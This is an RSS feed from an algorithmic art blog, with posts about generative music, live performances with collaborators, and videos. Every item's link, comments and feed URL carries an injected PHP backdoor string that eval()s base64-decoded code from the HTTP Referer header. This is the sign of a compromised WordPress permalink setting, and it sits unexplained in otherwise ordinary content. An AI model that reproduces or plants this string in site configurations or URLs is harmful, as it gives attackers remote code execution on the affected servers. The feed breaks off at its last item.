<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>digital poesis &#187; Audio</title>
	<atom:link href="http://www.digitalpoesis.com/category/audio/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.digitalpoesis.com</link>
	<description>a blog of algorithmic art</description>
	<lastBuildDate>Mon, 22 Feb 2010 23:17:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Enso v 5 w/ Zbigniew Karkowski</title>
		<link>http://www.digitalpoesis.com/2010/02/22/enso-v-5-w-zbigniew-karkowski/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2010/02/22/enso-v-5-w-zbigniew-karkowski/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 23:16:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[2D]]></category>
		<category><![CDATA[generative]]></category>
		<category><![CDATA[generative graphics]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[greyscale]]></category>
		<category><![CDATA[OSC]]></category>
		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=160</guid>
		<description><![CDATA[
Enso v 5 from Aaron McLeran

Last week I had two collaborative shows with computer music composer of &#8220;noise&#8221;, Zbigniew Karkowski. One show was at Terminal, a warehouse that does many underground music shows in Oakland, CA. The other was at the Biko garage in Goleta, CA, a similar venue for the underground music scene.
The collaboration ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><object width="400" height="225" data="http://vimeo.com/moogaloop.swf?clip_id=9637373&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=9637373&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
<p><a href="http://vimeo.com/9637373">Enso v 5</a> from <a href="http://vimeo.com/user1248344">Aaron McLeran</a><br />
<span id="more-160"></span><br />
Last week I had two collaborative shows with computer music composer of &#8220;noise&#8221;, <a href="http://en.wikipedia.org/wiki/Zbigniew_Karkowski">Zbigniew Karkowski</a>. One show was at Terminal, a warehouse that does many underground music shows in Oakland, CA. The other was at the <a href="http://www.myspace.com/biko_garage">Biko</a> garage in Goleta, CA, a similar venue for the underground music scene.</p>
<p>The collaboration was an improvisational performance where Zbigniews live-performed music was modified by live algorithmic processing of the audio. The algorithmic parameters were each controlled via accelerometer data from an iPhone. The visuals were also generated live and controlled from the same accelerometer data.</p>
<p>The video posted here is a short sample of the performance. If you&#8217;ve been on my blog before, you might have seen some posts about a piece of mine called, &#8220;Enso&#8221;. There&#8217;s more about the concept of Enso I&#8217;d like to write more about, but for now, it&#8217;s relevant to know that this collaborative performance was yet another iteration on this particular series of pieces. What&#8217;s important to know from the conceptual core of the piece is that I wrote the processing and graphical algorithms from scratch the weekend before the performance.</p>
<p>Unfortunately, I did not have a chance to record the actual live-screen capture of the performance (was worried about computer performance and stability in a live show), but I reproduced shorter demonstration of the performance at home using Zbigniew&#8217;s music. Stay tuned for more music and visuals from this collaboration in the future.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2010/02/22/enso-v-5-w-zbigniew-karkowski/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Annabel Scheme Book Reading</title>
		<link>http://www.digitalpoesis.com/2010/02/21/annabel-scheme-live-reading/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2010/02/21/annabel-scheme-live-reading/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 22:13:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[max for live]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[MIDI]]></category>
		<category><![CDATA[OSC]]></category>
		<category><![CDATA[words]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=156</guid>
		<description><![CDATA[My good friend, Robin Sloan, had a fantastic book reading event at the end of last year for this book. I had the honor of performing some real-time controlled generative music behind his reading as a kind of modern day version of that drummer and bass player behind a beat-poetry reading. I told Robin I&#8217;d ]]></description>
			<content:encoded><![CDATA[<p>My good friend, <a href="http://twitter.com/robinsloan">Robin Sloan</a>, had a fantastic book reading event at the end of last year for <a href="http://robinsloan.com/annabel-scheme">this</a> book. I had the honor of performing some real-time controlled generative music behind his reading as a kind of modern day version of that drummer and bass player behind a beat-poetry reading. I told Robin I&#8217;d &#8220;master&#8221; the recording I made and send him a link. Well, I finally got around to finishing it (sorry for the delay Robin!).</p>
<p>Here is the recording of the performance of Robin reading with my music:<br />
<a href="http://digitalpoesis.com/audio/sloan_reading_final.mp3">Annabel Scheme (reading)</a></p>
<p>And at Robin&#8217;s suggestion, here is the music itself:<br />
<a href="http://digitalpoesis.com/audio/sloan_reading_final_music.mp3">Annabel Scheme (music)</a></p>
<p>During the recording of Robin, there was a CPU spike in my computer for some unknown reason (maybe the OS was doing an auto-update or something) and the recording started glitching. Though it recovered quickly, there is a blemish in the recording. I tried to remove it, but it didn&#8217;t sound natural. So I kept it in. Part of the risk of &#8220;live&#8221; performance.</p>
<p>For those interested, the generative music was made using a set of interlinked <a href="http://www.ableton.com/maxforlive">Max for Live</a> objects I made that generated midi events to control Live instruments. It was my first Max for Live project. Also, the various algorithms were controlled in real-time using <a href="http://opensoundcontrol.org/">OSC</a> messages from a bunch of buttons from an iPhone OSC app, <a href="http://pixelverse.org/iphone/oscemote/">OSCemote</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2010/02/21/annabel-scheme-live-reading/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/sloan_reading_final.mp3" length="10974602" type="audio/mpeg" />
<enclosure url="http://digitalpoesis.com/audio/sloan_reading_final_music.mp3" length="10974608" type="audio/mpeg" />
		</item>
		<item>
		<title>bounce</title>
		<link>http://www.digitalpoesis.com/2010/01/26/bounce/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2010/01/26/bounce/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 06:58:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[ambient]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[textural]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=152</guid>
		<description><![CDATA[A piece using a resonator and a physical model of a hammered string.
Bouncing
]]></description>
			<content:encoded><![CDATA[<p>A piece using a resonator and a physical model of a hammered string.</p>
<p><a href="http://digitalpoesis.com/audio/bounce_1.mp3">Bouncing</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2010/01/26/bounce/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/bounce_1.mp3" length="5351993" type="audio/mpeg" />
		</item>
		<item>
		<title>Hypatia&#8217;s Eyes</title>
		<link>http://www.digitalpoesis.com/2009/11/03/hypatias-eyes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/11/03/hypatias-eyes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:14:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[ambient]]></category>
		<category><![CDATA[cat]]></category>
		<category><![CDATA[generative]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[hypatia]]></category>
		<category><![CDATA[music]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=146</guid>
		<description><![CDATA[Made an ambient video of my new kitty the other night. She has really gorgeous eyes. I noticed that in the right like you can see her retina! So I grabbed my iPhone and recorded her while she patiently stared at me. Then put some gen. ambient music to it (supercollider).

]]></description>
			<content:encoded><![CDATA[<p>Made an ambient video of my new kitty the other night. She has really gorgeous eyes. I noticed that in the right like you can see her retina! So I grabbed my iPhone and recorded her while she patiently stared at me. Then put some gen. ambient music to it (supercollider).</p>
<p style="text-align: center;"><object width="400" height="225" data="http://vimeo.com/moogaloop.swf?clip_id=7408428&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7408428&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/11/03/hypatias-eyes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enso</title>
		<link>http://www.digitalpoesis.com/2009/11/01/enso-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/11/01/enso-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 01:42:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[enso]]></category>
		<category><![CDATA[generative]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[OSC]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=140</guid>
		<description><![CDATA[Those generative studies I posted about ages ago eventually turned into a series of works which I called &#8220;Enso&#8221;. This has seen a bunch of iterations, one of which was displayed in MAT&#8217;s Allosphere. This is an update of the Enso code. I rewrote the generative synthesis engine: cleaned it up, made it more predictable, ]]></description>
			<content:encoded><![CDATA[<p>Those generative studies I posted about ages ago eventually turned into a series of works which I called &#8220;Enso&#8221;. This has seen a bunch of iterations, one of which was displayed in MAT&#8217;s <a href="http://www.allosphere.ucsb.edu/">Allosphere</a>. This is an update of the Enso code. I rewrote the generative synthesis engine: cleaned it up, made it more predictable, easier to control, etc. And also revisited the graphics code. Now the images aren&#8217;t so symmetrical and flat. I&#8217;ve also introduced some simple shaders to give it some depth. Color-wise, I&#8217;m still sticking to minimal gray-scale for a lot of reasons, most of them truly artistic, though the contrast is more stark.</p>
<p>I also added an interface for OSC control. This video was a live screen-cap of an iPhone performance using the $5 app <a href="http://pixelverse.org/iphone/oscemote/">oscemote</a>.</p>
<p style="text-align: center;"><object width="400" height="300" data="http://vimeo.com/moogaloop.swf?clip_id=7342595&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7342595&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/11/01/enso-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Visceral</title>
		<link>http://www.digitalpoesis.com/2009/06/24/visceral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/06/24/visceral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 03:27:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[curtis roads]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[sound design]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=127</guid>
		<description><![CDATA[I am posting up here a few pieces of recent &#8220;sound design&#8221; type work.
The first here is a piece made from a recording from an interview of my advisor, Curtis Roads. The core sample is a segment from an interview he had recently that is now up on YouTube here. After hearing the interview, I ]]></description>
			<content:encoded><![CDATA[<p>I am posting up here a few pieces of recent &#8220;sound design&#8221; type work.</p>
<p>The first here is a piece made from a recording from an interview of my advisor, Curtis Roads. The core sample is a segment from an interview he had recently that is now up on YouTube <a href="http://www.youtube.com/watch?v=_Xy0szkt7ao">here</a>. After hearing the interview, I wanted to do a piece with it, but keep his poetic words about computer music composition (and sound design) mostly audible.</p>
<p><a href="http://digitalpoesis.com/audio/curtis_roads_remix.mp3">Curtis Roads</a></p>
<p>I also made a piece recently which features metalic resonances. I used some vintage synthesis samples, ran them through a network of detuned resonators and various spatialization and granulation techniques.</p>
<p><a href="http://digitalpoesis.com/audio/robotic_spiders.mp3">Giant Metal Robot Spiders</a></p>
<p>Also, is an early sketch of a track from a new album I am working on:</p>
<p><a href="http://digitalpoesis.com/audio/metropolis2.mp3">Metropolis</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/06/24/visceral/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/curtis_roads_remix.mp3" length="3003595" type="audio/mpeg" />
<enclosure url="http://digitalpoesis.com/audio/robotic_spiders.mp3" length="3276311" type="audio/mpeg" />
<enclosure url="http://digitalpoesis.com/audio/metropolis2.mp3" length="2574658" type="audio/mpeg" />
		</item>
		<item>
		<title>Another Biko Performance</title>
		<link>http://www.digitalpoesis.com/2009/06/01/the-unheard-biko-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/06/01/the-unheard-biko-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 20:29:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[MIDI]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=118</guid>
		<description><![CDATA[For the biko show on Saturday I had prepared a couple of different generative states and decided last night to do another performance in a single-take to see what this system can do.  
Listen
]]></description>
			<content:encoded><![CDATA[<p>For the biko show on Saturday I had prepared a couple of different generative states and decided last night to do another performance in a single-take to see what this system can do.  </p>
<p><a href="http://digitalpoesis.com/audio/take_3.mp3">Listen</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/06/01/the-unheard-biko-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/take_3.mp3" length="8655436" type="audio/mpeg" />
		</item>
		<item>
		<title>Pulse Video</title>
		<link>http://www.digitalpoesis.com/2009/05/31/pulse-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/05/31/pulse-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 06:07:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[2D]]></category>
		<category><![CDATA[abstract]]></category>
		<category><![CDATA[beats]]></category>
		<category><![CDATA[generative graphics]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[LIVE]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[OSC]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=112</guid>
		<description><![CDATA[One more post for today. This is another collaborative performance with Pehr Hovey.

]]></description>
			<content:encoded><![CDATA[<p>One more post for today. This is another collaborative performance with Pehr Hovey.</p>
<p style="text-align: center;"><object width="400" height="300" data="http://vimeo.com/moogaloop.swf?clip_id=4937018&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=4937018&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/05/31/pulse-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Musical Science Video</title>
		<link>http://www.digitalpoesis.com/2009/05/31/musical-science-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/05/31/musical-science-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 06:03:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[2D]]></category>
		<category><![CDATA[dazzle]]></category>
		<category><![CDATA[generative graphics]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[OSC]]></category>
		<category><![CDATA[razzle]]></category>
		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=110</guid>
		<description><![CDATA[Pehr just posted a video of the last few minutes of our show:

]]></description>
			<content:encoded><![CDATA[<p>Pehr just posted a video of the last few minutes of our show:</p>
<p style="text-align: center;"><object width="400" height="300" data="http://vimeo.com/moogaloop.swf?clip_id=4938067&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=4938067&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/05/31/musical-science-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Musical Science At BIKO</title>
		<link>http://www.digitalpoesis.com/2009/05/31/biko/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/05/31/biko/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 05:40:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[dazzle]]></category>
		<category><![CDATA[generative graphics]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[LIVE]]></category>
		<category><![CDATA[Max/MSP]]></category>
		<category><![CDATA[MIDI]]></category>
		<category><![CDATA[OSC]]></category>
		<category><![CDATA[razzle]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=105</guid>
		<description><![CDATA[Last night I had a performance (with Pehr doing visuals with me) at BIKO house in Isla Vista.
Listen
Some music notes:
The music was created using a new generative music system (in Max/MSP) I&#8217;ve been working on while collaborating with Pehr. I mentioned a few posts earlier about it (see here).
]]></description>
			<content:encoded><![CDATA[<p>Last night I had a performance (with <a href="http://www.pehrhovey.net/">Pehr</a> doing visuals with me) at BIKO house in Isla Vista.</p>
<p><a href="http://digitalpoesis.com/audio/biko_performance_recording_may_30.mp3">Listen</a></p>
<p>Some music notes:</p>
<p>The music was created using a new generative music system (in Max/MSP) I&#8217;ve been working on while collaborating with Pehr. I mentioned a few posts earlier about it (see <a href="http://www.digitalpoesis.com/?p=76">here</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/05/31/biko/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/biko_performance_recording_may_30.mp3" length="10707120" type="audio/mpeg" />
		</item>
		<item>
		<title>The Tholian Web</title>
		<link>http://www.digitalpoesis.com/2009/05/23/the-tholian-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/05/23/the-tholian-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 24 May 2009 01:55:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Audio]]></category>
		<category><![CDATA[abstract]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[glitch]]></category>
		<category><![CDATA[tholian]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=92</guid>
		<description><![CDATA[Listen

I took the audio from the LuaAV piece of the previous post and stochastically processed it for fun. It has a large dynamic range so it might get a bit too loud if you have your speakers turned up.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://digitalpoesis.com/audio/TheTholianWeb.mp3">Listen</a><br />
<span id="more-92"></span></p>
<p>I took the audio from the LuaAV piece of the previous <a href="http://www.digitalpoesis.com/?p=87#more-87" target="_blank">post</a> and stochastically processed it for fun. It has a large dynamic range so it might get a bit too loud if you have your speakers turned up.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/05/23/the-tholian-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://digitalpoesis.com/audio/TheTholianWeb.mp3" length="5862977" type="audio/mpeg" />
		</item>
		<item>
		<title>*</title>
		<link>http://www.digitalpoesis.com/2009/05/23/87/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.digitalpoesis.com/2009/05/23/87/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 24 May 2009 01:38:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[ambient]]></category>
		<category><![CDATA[chords]]></category>
		<category><![CDATA[generative graphics]]></category>
		<category><![CDATA[generative music]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[lines]]></category>
		<category><![CDATA[LuaAV]]></category>
		<category><![CDATA[visual]]></category>

		<guid isPermaLink="false">http://www.digitalpoesis.com/?p=87</guid>
		<description><![CDATA[
This is a generative audio-visual piece created in collaboration between myself, Graham Wakefield and Wes Smith.  It was done after a long and grueling day consiting of a single 6-hour meeting about ways to integrate software systems currently being used in research in MAT&#8217;s Allosphere.
In the process of working on a basic hello-world type demonstration ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><object width="400" height="300" data="http://vimeo.com/moogaloop.swf?clip_id=4805190&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=4805190&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /></object></p>
<p><span id="more-87"></span>This is a generative audio-visual piece created in collaboration between myself, <a href="http://www.grahamwakefield.net/" target="_blank">Graham Wakefield</a> and <a href="http://www.mat.ucsb.edu/whsmith/" target="_blank">Wes Smith</a>.  It was done after a long and grueling day consiting of a single 6-hour meeting about ways to integrate software systems currently being used in research in MAT&#8217;s <a href="http://www.allosphere.ucsb.edu/" target="_blank">Allosphere</a>.</p>
<p>In the process of working on a basic hello-world type demonstration script (to introduce the basic features of LuaAV), we ended up code-jamming for several hours and actually made something worthy of Brian Eno. Graham and I are going to do a real-time code jam with the script at the End-of-year show at MAT [ed note: this went really well. I'll be posting the code of this jam shortly].</p>
<p>For the curious, the super messy (it was a code jam!) LuaAV script is <a href="http://mat.ucsb.edu/~amcleran/LuaAV/hello.world.lua" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalpoesis.com/2009/05/23/87/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ENSO</title>
